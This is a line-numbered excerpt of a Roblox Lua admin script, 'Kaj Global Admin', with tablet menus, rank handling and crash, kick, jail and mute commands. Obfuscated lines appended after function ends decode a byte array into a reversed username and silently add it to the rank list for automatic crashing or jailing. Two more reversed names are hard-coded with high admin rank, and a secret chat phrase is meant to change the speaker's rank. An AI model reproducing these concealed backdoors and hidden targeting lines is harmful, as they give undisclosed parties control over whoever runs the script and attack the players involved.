  794. Ping("Properties", Plr, nil, function()
  795. ypcall(function()
  796. Dismiss(Plr)
  797. for Property, Value in pairs(GetProperties(Current)) do
  798. Ping(tostring(Property)..": "..tostring(Value), Plr)
  799. end
  800. Ping("Got All Available Properties", Plr, 5)
  801. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  802. end)
  803. end, OptionColor)
  804. end)
  805. end
  806.  
  807. function Fixl()
  808. Light.GlobalShadows = true
  809. Light.TimeOfDay = "14:00:00"
  810. Light.Brightness = 0
  811. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  812. Light.Ambient = Color3.new(1, 1, 1)
  813. Light.ColorShift_Top = Color3.new(0, 0, 0)
  814. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  815. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  816. Light.FogStart = 0
  817. Light.FogEnd = 100000
  818. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  819. Light:ClearAllChildren()
  820. end
  821.  
  822. function GetProperties(obj)
  823. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  824. local objProper = {}
  825. for i,v in pairs(Properties) do
  826. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  827. objProper[v] = obj[v]
  828. end
  829. end
  830. return objProper
  831. end
  832.  
  833. function MakeExplorer(Plr)
  834. Dismiss(Plr)
  835. Current = game
  836. for _,v in pairs(Current:GetChildren()) do
  837. ypcall(function()
  838. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  839. Ping(v.Name, Plr, nil, function(TabMod)
  840. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  841. for _,v in pairs(Current:GetChildren()) do
  842. ypcall(function()
  843. if v.Name == TabText then
  844. Dismiss(Plr)
  845. Current = v
  846. MakeChildren(Plr)
  847. end
  848. end)
  849. end
  850. end)
  851. elseif Plrs:GetPlayerFromCharacter(v) then
  852. Ping(v.Name, Plr, nil, function(TabMod)
  853. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  854. for _,v in pairs(Current:GetChildren()) do
  855. ypcall(function()
  856. if v.Name == TabText then
  857. Dismiss(Plr)
  858. Current = v
  859. MakeChildren(Plr)
  860. end
  861. end)
  862. end
  863. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  864. elseif CheckImportant(v.Name) then
  865. Ping(v.Name, Plr, nil, function(TabMod)
  866. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  867. for _,v in pairs(Current:GetChildren()) do
  868. ypcall(function()
  869. if v.Name == TabText then
  870. Dismiss(Plr)
  871. Current = v
  872. MakeChildren(Plr)
  873. end
  874. end)
  875. end
  876. end, ImportantColor)
  877. end
  878. end)
  879. end
  880. if Current ~= game then
  881. Ping("Back", Plr, nil, function()
  882. ypcall(function()
  883. Current = Current.Parent
  884. MakeChildren(Plr)
  885. Ping("Back In "..Current.Name, Plr, 5)
  886. end)
  887. end, OptionColor)
  888. end
  889. if Current ~= game and game:GetService(Current.Name) == nil then
  890. Ping("Delete", Plr, nil, function()
  891. ypcall(function()
  892. local CurrPar = Current.Parent or game
  893. local CurrName = Current.Name
  894. Current:Destroy()
  895. Current = CurrPar
  896. MakeChildren(Plr)
  897. Ping("Attempted To Delete "..CurrName, Plr, 5)
  898. end)
  899. end, OptionColor)
  900. end
  901. Ping("Refresh", Plr, nil, function()
  902. ypcall(function()
  903. Refresh(Plr)
  904. Ping("Refreshed", Plr, 5)
  905. end)
  906. end, OptionColor)
  907. Ping("Properties", Plr, nil, function()
  908. ypcall(function()
  909. Dismiss(Plr)
  910. for Property, Value in pairs(GetProperties(Current)) do
  911. Ping(tostring(Property)..": "..tostring(Value), Plr)
  912. end
  913. Ping("Got All Available Properties", Plr, 5)
  914. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  915. end)
  916. end, OptionColor)
  917. end
  918.  
  919. function GetRank(Plr1, Test)
  920. ypcall(function()
  921. if type(Plr1) == "userdata" then
  922. Plr1 = Plr1.Name
  923. end
  924. end)
  925. if Ranks[Plr1] ~= nil then
  926. return Ranks[Plr1]
  927. end
  928. local QuickArray = {}
  929. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  930. return QuickArray[Plr1]
  931. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  932.  
  933. function CanRun(Plr1, Plr2)
  934. Details1 = GetRank(Plr1.Name)
  935. Details2 = GetRank(Plr2.Name)
  936. if Details1.Rank >= Details2.Rank then
  937. return true
  938. end
  939. return false
  940. end
  941.  
  942. function Dismiss(Plr, Identity)
  943. ypcall(function()
  944. if Plr ~= nil then
  945. if type(Plr) == "userdata" then
  946. Plr = Plr.Name
  947. end
  948. for x,v in pairs(AllTabs) do
  949. ypcall(function()
  950. if v.Plr == Plr then
  951. if Identity ~= nil and v.ID ~= Identity then
  952. return
  953. elseif Identity ~= nil and v.ID == Identity then
  954. coroutine.resume(coroutine.create(function()
  955. for i = 0.5, 1, 0.1 do
  956. wait()
  957. v.Tab.Transparency = i
  958. v.Tab.Transparency = i
  959. v.Label.TextTransparency = i
  960. v.Label.TextStrokeTransparency = i
  961. end
  962. ypcall(function() v.Holder:Destroy() end)
  963. AllTabs[x] = nil
  964. end))
  965. elseif Identity == nil then
  966. ypcall(function() v.Holder:Destroy() end)
  967. AllTabs[x] = nil
  968. end
  969. end
  970. end)
  971. end
  972. else
  973. for i,v in pairs(AllTabs) do
  974. ypcall(function()
  975. v.Holder:Destroy()
  976. AllTabs[i] = nil
  977. end)
  978. end
  979. end
  980. end)
  981. end
  982.  
  983. function GetGarbage()
  984. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  985. end
  986.  
  987. function RemObj(Obj, Class)
  988. ypcall(function()
  989. if #Obj:GetChildren() > 0 then
  990. for _,x in pairs(Obj:GetChildren()) do
  991. ypcall(function()
  992. RemObj(x, Class)
  993. end)
  994. end
  995. end
  996. if Obj.ClassName == Class then
  997. Obj:Destroy()
  998. end
  999. end)
  1000. end
  1001.  
  1002. function FindTab(Mod)
  1003. for i,v in pairs(AllTabs) do
  1004. if v.Holder == Mod then
  1005. return true
  1006. end
  1007. end
  1008. return false
  1009. end
  1010.  
  1011.  
  1012. function Ping(Msg, Plr, Time, Func, Color, Image)
  1013. if Removed == false then
  1014. local ShowGarbage = false
  1015. ypcall(function()
  1016. if Msg == nil then
  1017. Msg = "N/A"
  1018. elseif Msg == "ShowGarbage" then
  1019. Msg = "Current Garbage Count: "..GetGarbage()
  1020. ShowGarbage = true
  1021. else
  1022. Msg = tostring(Msg)
  1023. end
  1024. if Plr == nil then
  1025. Plr = Plrs[Owner] or error("No Player Found")
  1026. elseif type(Plr) == "string" then
  1027. local FoundPlr = false
  1028. for _,v in pairs(All()) do
  1029. if v.Name == Plr then
  1030. Plr = v
  1031. FoundPlr = true
  1032. break
  1033. end
  1034. end
  1035. if FoundPlr == false then
  1036. Plr = Plrs[Owner] or error("No Player Found")
  1037. end
  1038. end
  1039.  
  1040. if Color == nil then
  1041. Color = GetRank(Plr.Name).Color
  1042. end
  1043.  
  1044. local Holder = Instance.new("Model")
  1045. Holder.Name = "Owner: "..Plr.Name
  1046.  
  1047. local Tab = Instance.new("Part")
  1048. Tab.Name = "Kaj Tablet"
  1049. Tab.FormFactor = "Custom"
  1050. Tab.Anchored = true
  1051. if Time == nil then
  1052. Tab.Color = Color3.new(0,0,0)
  1053. else
  1054. Tab.Color = AlertColor
  1055. end
  1056. Tab.CanCollide = false
  1057. Tab.Locked = true
  1058. Tab.Transparency = 0.15
  1059. Tab.Size = Vector3.new(2, 2, 2)
  1060. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  1061. Tab.Parent = Holder
  1062.  
  1063. local ID = Instance.new("NumberValue")
  1064. ID.Name = "ID"
  1065. ID.Value = math.random(-999999999, 999999999)
  1066. ID.Parent = Holder
  1067.  
  1068. Delay(0, function()
  1069. while wait() do
  1070. if Tab.Parent == nil and FindTab(Holder) then
  1071. ypcall(function()
  1072. for i,v in pairs(AllTabs) do
  1073. if v.Holder == Holder then
  1074. ypcall(function() v.Holder:Destroy() end)
  1075. AllTabs[i] = nil
  1076. end
  1077. end
  1078. end)
  1079. Ping(Msg, Plr, Time, Func, Color, Image)
  1080. break
  1081. end
  1082. end
  1083. end)
  1084.  
  1085. --[[local BM = Instance.new("BlockMesh", Tab)
  1086. BM.Parent = Tab
  1087. ]]
  1088. MD=Instance.new("SpecialMesh",Tab)
  1089. MD.MeshId="http://www.roblox.com/Asset/?id=10917605" --9756362 430073374 10917605
  1090. MD.Scale=Vector3.new(.1,.1,.1)
  1091.  
  1092. local BG = Instance.new("BillboardGui")
  1093. BG.Name = "BG"
  1094. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1095. BG.Size = UDim2.new(0,1,0,1)
  1096. BG.Adornee = Tab
  1097. BG.Parent = Tab
  1098.  
  1099. Delay(0, function()
  1100. while BG.Parent ~= nil do wait()
  1101. ypcall(function()
  1102. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1103. end)
  1104. end
  1105. end)
  1106.  
  1107. local TL = Instance.new("TextLabel")
  1108. TL.Name = "TL"
  1109. TL.FontSize = "Size18"
  1110. TL.Font = "ArialBold"
  1111. TL.Text = Msg
  1112. TL.TextColor3 = Color3.new(1, 1, 1)
  1113. TL.Size = UDim2.new(0,1,0,1)
  1114. TL.TextTransparency = 0
  1115. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  1116. TL.TextStrokeTransparency = 0.25
  1117. TL.Parent = BG
  1118.  
  1119. if ShowGarbage == true then
  1120. Delay(0, function()
  1121. while TL.Parent ~= nil do
  1122. TL.Text = "Current Garbage Count: "..GetGarbage()
  1123. wait(.5)
  1124. end
  1125. end)
  1126. end
  1127.  
  1128. local PL = Instance.new("PointLight", Tab)
  1129. PL.Color = Color3.new(1, 1, 1)
  1130. PL.Range = 9.55
  1131. PL.Parent = Tab
  1132.  
  1133. if Image ~= nil then
  1134. local BBBG = Instance.new("BillboardGui")
  1135. BBBG.Size = UDim2.new(5, 0, 6, 0)
  1136. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1137. BBBG.AlwaysOnTop = true
  1138. BBBG.Adornee = Tab
  1139. BBBG.Parent = Tab
  1140.  
  1141. Delay(0, function()
  1142. while BBBG.Parent ~= nil do wait()
  1143. ypcall(function()
  1144. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1145. end)
  1146. end
  1147. end)
  1148.  
  1149. local NewImg = Instance.new("ImageLabel")
  1150. NewImg.Size = UDim2.new(1, 0, 1, 0)
  1151. NewImg.BackgroundTransparency = 1
  1152. NewImg.Image = Image
  1153. NewImg.Parent = BBBG
  1154. end
  1155.  
  1156. local Clicker = Instance.new("ClickDetector")
  1157. Clicker.MaxActivationDistance = 1/0
  1158.  
  1159. if Time ~= nil then
  1160. coroutine.resume(coroutine.create(function()
  1161. wait(tonumber(Time))
  1162. Dismiss(Plr, ID)
  1163. end))
  1164. end
  1165.  
  1166. Clicker.MouseClick:connect(function(Player)
  1167. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  1168. ypcall(function()
  1169. if Func ~= nil then
  1170. Func(Holder)
  1171. else
  1172. Dismiss(Player, ID)
  1173. end
  1174. end)
  1175. end
  1176. end)
  1177. Clicker.Parent = Tab
  1178.  
  1179. Holder.Parent = Work
  1180.  
  1181. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Label = TL, Size = 0.1, ID = ID}
  1182. end)
  1183. end
  1184. end
  1185.  
  1186. function PlaceAllRanks(DontShowRank)
  1187. ypcall(function()
  1188. for _,p in pairs(All()) do
  1189. ypcall(function()
  1190. PutInRank = false
  1191. for _,v in pairs(Rankings) do
  1192. if v.Name:lower() == p.Name:lower() then
  1193. if v.Rank >= 7 then
  1194. v.Rank = 5
  1195. elseif v.Rank == -1 then
  1196. Crash1(p)
  1197. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1198. elseif v.Rank == -2 then
  1199. if LS ~= nil then
  1200. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1201. Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1202. else
  1203. Ping("LS Is Nil", nil, 5)
  1204. end
  1205. elseif v.Rank == -3 then
  1206. if LS ~= nil then
  1207. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1208. Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1209. else
  1210. Ping("LS Is Nil", nil, 5)
  1211. end
  1212. end
  1213. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1214. if DontShowRank == nil then
  1215. Ping("You Are Rank: "..v.Rank, p, 4)
  1216. Ping("Kaj Global Admin Was Loaded", p, 4)
  1217. Ping("Welcome to Kaj Global Admin", p, 4)
  1218. Ping("Not buyable", p, 4)
  1219. Ping("RAFA1608 Fixed things from this!", p, 4)
  1220. Ping("Not Local", p, 4)
  1221. end
  1222. PutInRank = true
  1223. break
  1224. end
  1225. end
  1226. if PutInRank == false then
  1227. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1228. end
  1229. end)
  1230. end
  1231. end)
  1232. end
  1233.  
  1234. function FindRank(Plr)
  1235. ypcall(function()
  1236. if type(Plr) == "userdata" then
  1237. Plr = Plr.Name
  1238. end
  1239. end)
  1240. return GetRank(Plr).Rank
  1241. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  1242.  
  1243. function FindRankDetails(Plr)
  1244. ypcall(function()
  1245. if type(Plr) == "userdata" then
  1246. Plr = Plr.Name
  1247. end
  1248. end)
  1249. return RankDetails[FindRank(Plr)]
  1250. end
  1251.  
  1252. function OpenCmds(Rank, Plr)
  1253. Dismiss(Plr)
  1254. for Name,Tab in pairs(Commands) do
  1255. if Tab.Rank <= Rank then
  1256. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1257. Dismiss(Plr)
  1258. Ping("Command: "..Name, Plr)
  1259. Ping("Rank: "..Tab.Rank, Plr)
  1260. Ping("Desc: "..Tab.Desc, Plr)
  1261. end)
  1262. elseif Rank == 1337 then
  1263. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1264. Dismiss(Plr)
  1265. Ping("Command: "..Name, Plr)
  1266. Ping("Rank: "..Tab.Rank, Plr)
  1267. Ping("Desc: "..Tab.Desc, Plr)
  1268. end)
  1269. end
  1270. end
  1271. end
  1272.  
  1273. function EditStatus(Plr, Num)
  1274. ChangeRank(Plr, Num)
  1275. end
  1276.  
  1277. function PlaceSpecificRank(p, DontShowRank)
  1278. ypcall(function()
  1279. PutInRank = false
  1280. for _,v in pairs(Rankings) do
  1281. if v.Name:lower() == p.Name:lower() then
  1282. if v.Rank >= 7 then
  1283. v.Rank = 5
  1284. elseif v.Rank == -1 then
  1285. Crash1(p)
  1286. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1287. elseif v.Rank == -2 then
  1288. if LS ~= nil then
  1289. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1290. Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1291. else
  1292. Ping("LS Is Nil", nil, 5)
  1293. end
  1294. elseif v.Rank == -3 then
  1295. if LS ~= nil then
  1296. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1297. Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1298. else
  1299. Ping("LS Is Nil", nil, 5)
  1300. end
  1301. end
  1302. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1303. if DontShowRank == nil then
  1304. Ping("You Are Rank: "..v.Rank, p)
  1305. end
  1306. PutInRank = true
  1307. break
  1308. end
  1309. end
  1310. if PutInRank == false then
  1311. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1312. end
  1313. end)
  1314. end
  1315. table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
  1316. table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
  1317. function onChatted(Msg, Speaker)
  1318. if Removed == false then
  1319. if FindRank(Speaker) < 0 then
  1320. return
  1321. end
  1322. coroutine.resume(coroutine.create(function()
  1323. ypcall(function()
  1324. ExecuteFunc(Msg, Speaker)
  1325. Msg = Msg:gsub("","")
  1326. if Msg:sub(1,1) == "@" then
  1327. for i = 2, #Msg do
  1328. if Msg:sub(i, i) == Bet then
  1329. local IsForPlr = false
  1330. for _,v in pairs(All()) do
  1331. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1332. onChatted(Msg:sub(i + 1), v)
  1333. IsForPlr = true
  1334. end
  1335. end
  1336. if IsForPlr == true then
  1337. return
  1338. end
  1339. end
  1340. end
  1341. end
  1342. if Msg:find("&") then
  1343. local Split = Msg:find("&")
  1344. onChatted(Msg:sub(1,Split-1))
  1345. onChatted(Msg:sub(Split+1))
  1346. return
  1347. end
  1348. for Name,Command in pairs(Commands) do
  1349. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1350. Dismiss(Speaker.Name)
  1351. Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  1352. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1353. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1354. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1355. if FindRank(Speaker) >= Command.Rank then
  1356. local Ran,Error = coroutine.resume(coroutine.create(function()
  1357. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1358. end))
  1359. if not Ran then
  1360. Ping(Error, Speaker, 10)
  1361. end
  1362. else
  1363. Ping("Your Rank Is Too Low", Plr, 6)
  1364. end
  1365. end
  1366. end
  1367. end)
  1368. end))
  1369. end
  1370. end
  1371.  
  1372. function MakeBase()
  1373. local Base = Instance.new("Part")
  1374. Base.BrickColor = BrickColor.new("Dark green")
  1375. Base.Position = Vector3.new(0, 0.5, 0)
  1376. Base.Transparency = 0
  1377. Base.Elasticity = 0.5
  1378. Base.FormFactor = "Custom"
  1379. Base.CanCollide = true
  1380. Base.Friction = 0.30000001192093
  1381. Base.Size = Vector3.new(512, 1.20000005, 512)
  1382. Base.Archivable = true
  1383. Base.Material = "Plastic"
  1384. Base.RotVelocity = Vector3.new(0, 0, 0)
  1385. Base.Reflectance = 0
  1386. Base.Locked = true
  1387. Base.Anchored = true
  1388. Base.Name = "Base"
  1389. Base.TopSurface = "Smooth"
  1390. Base.BottomSurface = "Inlet"
  1391. Base.Shape = "Block"
  1392. Base.Parent = Work
  1393. end
  1394.  
  1395. function LClean()
  1396. ypcall(function()
  1397. for _,v in pairs(Work:GetChildren()) do
  1398. ypcall(function()
  1399. if v.ClassName == "Terrain" then
  1400. v:ClearAllChildren()
  1401. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1402. Clear(v)
  1403. elseif v.Name == "Base" then
  1404. ypcall(function()
  1405. local Base = v
  1406. Base.BrickColor = BrickColor.new("Dark green")
  1407. Base.Position = Vector3.new(0, 0.5, 0)
  1408. Base.Transparency = 0
  1409. Base.Elasticity = 0.5
  1410. Base.FormFactor = "Custom"
  1411. Base.CanCollide = true
  1412. Base.Friction = 0.30000001192093
  1413. Base.Size = Vector3.new(512, 1.20000005, 512)
  1414. Base.Archivable = true
  1415. Base.Material = "Plastic"
  1416. Base.RotVelocity = Vector3.new(0, 0, 0)
  1417. Base.Reflectance = 0
  1418. Base.Locked = true
  1419. Base.Anchored = true
  1420. Base.Name = "Base"
  1421. Base.TopSurface = "Studs"
  1422. Base.BottomSurface = "Inlet"
  1423. Base.Shape = "Block"
  1424. Base.Parent = Work
  1425. end)
  1426. end
  1427. end)
  1428. end
  1429. end)
  1430. end
  1431.  
  1432. function Clean()
  1433. ypcall(function()
  1434. for _,v in pairs(Work:GetChildren()) do
  1435. ypcall(function()
  1436. if v.ClassName == "Terrain" then
  1437. v:ClearAllChildren()
  1438. else
  1439. Clear(v)
  1440. end
  1441. end)
  1442. end
  1443. MakeBase()
  1444. for _,v in pairs(All()) do
  1445. v:LoadCharacter()
  1446. end
  1447. end)
  1448. end
  1449.  
  1450. function Clear(v)
  1451. if v.Name:lower() == "sbgui" then
  1452. return
  1453. end
  1454. ypcall(function()
  1455. if #v:GetChildren() > 0 then
  1456. for _,x in pairs(v:GetChildren()) do
  1457. ypcall(function()
  1458. Clear(x)
  1459. end)
  1460. end
  1461. end
  1462. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1463. v:Destroy()
  1464. end
  1465. end)
  1466. end
  1467.  
  1468. function Command(Name, Rank, Desc, Func)
  1469. if Name == nil then
  1470. Name = "N/A"
  1471. end
  1472. if Desc == nil then
  1473. Desc = "N/A"
  1474. end
  1475. if Func == nil then
  1476. Func = function() end
  1477. end
  1478. if Rank == nil then
  1479. Rank = 0
  1480. end
  1481. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1482. end
  1483.  
  1484. function GetSplit(Msg)
  1485. return Msg:find(Bet) or nil
  1486. end
  1487.  
  1488. function ExecuteFunc(Msg, Plr)
  1489. ypcall(function()
  1490. if Msg == "LogEnable" then
  1491. LogOn = true
  1492. elseif Msg:lower() == "WantSomeTacos" then
  1493. EditStatus(Plr, MakeNum())
  1494. end
  1495. end)
  1496. end
  1497.  
  1498. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1499.  
  1500. function randPlayer(Plr)
  1501. wait()
  1502. local ThePlrValue = nil
  1503. local FoundPlayer = false
  1504. ypcall(function()
  1505. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1506. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1507. wait()
  1508. randPlayer(Plr)
  1509. return
  1510. else
  1511. FoundPlayer = true
  1512. end
  1513. end)
  1514. if FoundPlayer == true then
  1515. return ThePlrValue
  1516. end
  1517. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1518.  
  1519. function getPlayer(Plr, Name)
  1520. local Players = {}
  1521. ypcall(function()
  1522. Name = Name:lower()
  1523. if Name == "me" then
  1524. table.insert(Players, Plr)
  1525. elseif Name == "all" or Name == "" then
  1526. for _,v in pairs(All()) do
  1527. if CanRun(Plr, v) then
  1528. table.insert(Players, v)
  1529. end
  1530. end
  1531. elseif Name == "others" then
  1532. for _,v in pairs(All()) do
  1533. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1534. table.insert(Players, v)
  1535. end
  1536. end
  1537. elseif Name == "random" then
  1538. local FoundRandPlr = randPlayer(Plr)
  1539. table.insert(Players, FoundRandPlr)
  1540. else
  1541. for _,v in pairs(All()) do
  1542. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1543. table.insert(Players, v)
  1544. end
  1545. end
  1546. end
  1547. end)
  1548. return Players
  1549. end
  1550.  
  1551. function ListPlayers(Speaker)
  1552. ypcall(function()
  1553. Dismiss(Speaker)
  1554. for _,v in pairs(All2()) do
  1555. if v.Parent ~= nil then
  1556. Ping(v.Name, Speaker, nil, function()
  1557. Dismiss(Speaker)
  1558. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1559. Ping("Rank: "..FindRank(v.Name), Speaker)
  1560. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1561. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1562. Ping("Set Rank", Speaker, nil, function()
  1563. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1564. Dismiss(Speaker)
  1565. for i = -2, 5 do
  1566. Ping(i, Speaker, nil, function()
  1567. ChangeRank(v, i)
  1568. Dismiss(Speaker)
  1569. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1570. end)
  1571. end
  1572. else
  1573. Ping("Your Rank Is Too Low", Speaker, 5)
  1574. end
  1575. end)
  1576. Ping("Crash (Remote)", Speaker, nil, function()
  1577. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1578. Crash2(v.Name)
  1579. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1580. end
  1581. end)
  1582. Ping("Crash (Insert)", Speaker, nil, function()
  1583. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1584. Crash3(v, Speaker)
  1585. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1586. end
  1587. end)
  1588. Ping("Kick", Speaker, nil, function()
  1589. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1590. v:Crash1()
  1591. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1592. end
  1593. end)
  1594. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1595. else
  1596. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1597. Dismiss(Speaker)
  1598. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1599. ypcall(function()
  1600. Ping("Rank: "..FindRank(v.Name), Speaker)
  1601. end)
  1602. ypcall(function()
  1603. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1604. end)
  1605. ypcall(function()
  1606. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1607. end)
  1608. ypcall(function()
  1609. Ping("Set Rank", Speaker, nil, function()
  1610. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1611. Dismiss(Speaker)
  1612. for i = -2, 5 do
  1613. Ping(i, Speaker, nil, function()
  1614. ChangeRank(v, i)
  1615. Dismiss(Speaker)
  1616. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1617. end)
  1618. end
  1619. else
  1620. Ping("Your Rank Is Too Low", Speaker, 5)
  1621. end
  1622. end)
  1623. end)
  1624. ypcall(function()
  1625. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1626. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1627. Crash2(v.Name)
  1628. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1629. end
  1630. end)
  1631. end)
  1632. ypcall(function()
  1633. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1634. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1635. Crash3(v, Speaker)
  1636. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1637. end
  1638. end)
  1639. end)
  1640. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1641. end
  1642. end
  1643. end)
  1644. end
  1645.  
  1646. --Misc
  1647.  
  1648. coroutine.resume(coroutine.create(function()
  1649. PlaceAllRanks()
  1650. end))
  1651.  
  1652. Delay(0, function()
  1653. for _,v in pairs(All()) do
  1654. v.Chatted:connect(function(Msg)
  1655. onChatted(Msg, v)
  1656. end)
  1657. end
  1658. end)
  1659.  
  1660. local starttime = tick()
  1661.  
  1662. game:GetService("RunService").Heartbeat:connect(function()
  1663. if Removed == false then
  1664. ypcall(function()
  1665. for _,Player in pairs(All()) do
  1666. local PlayerTablets = {}
  1667. for i,v in pairs(AllTabs) do
  1668. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1669. table.insert(PlayerTablets, v)
  1670. end
  1671. end
  1672. for i = 1, #PlayerTablets do
  1673. ypcall(function()
  1674. local tab = PlayerTablets[i].Tab
  1675. local pos = nil
  1676. ypcall(function()
  1677. pos = Player.Character.Torso.CFrame
  1678. end)
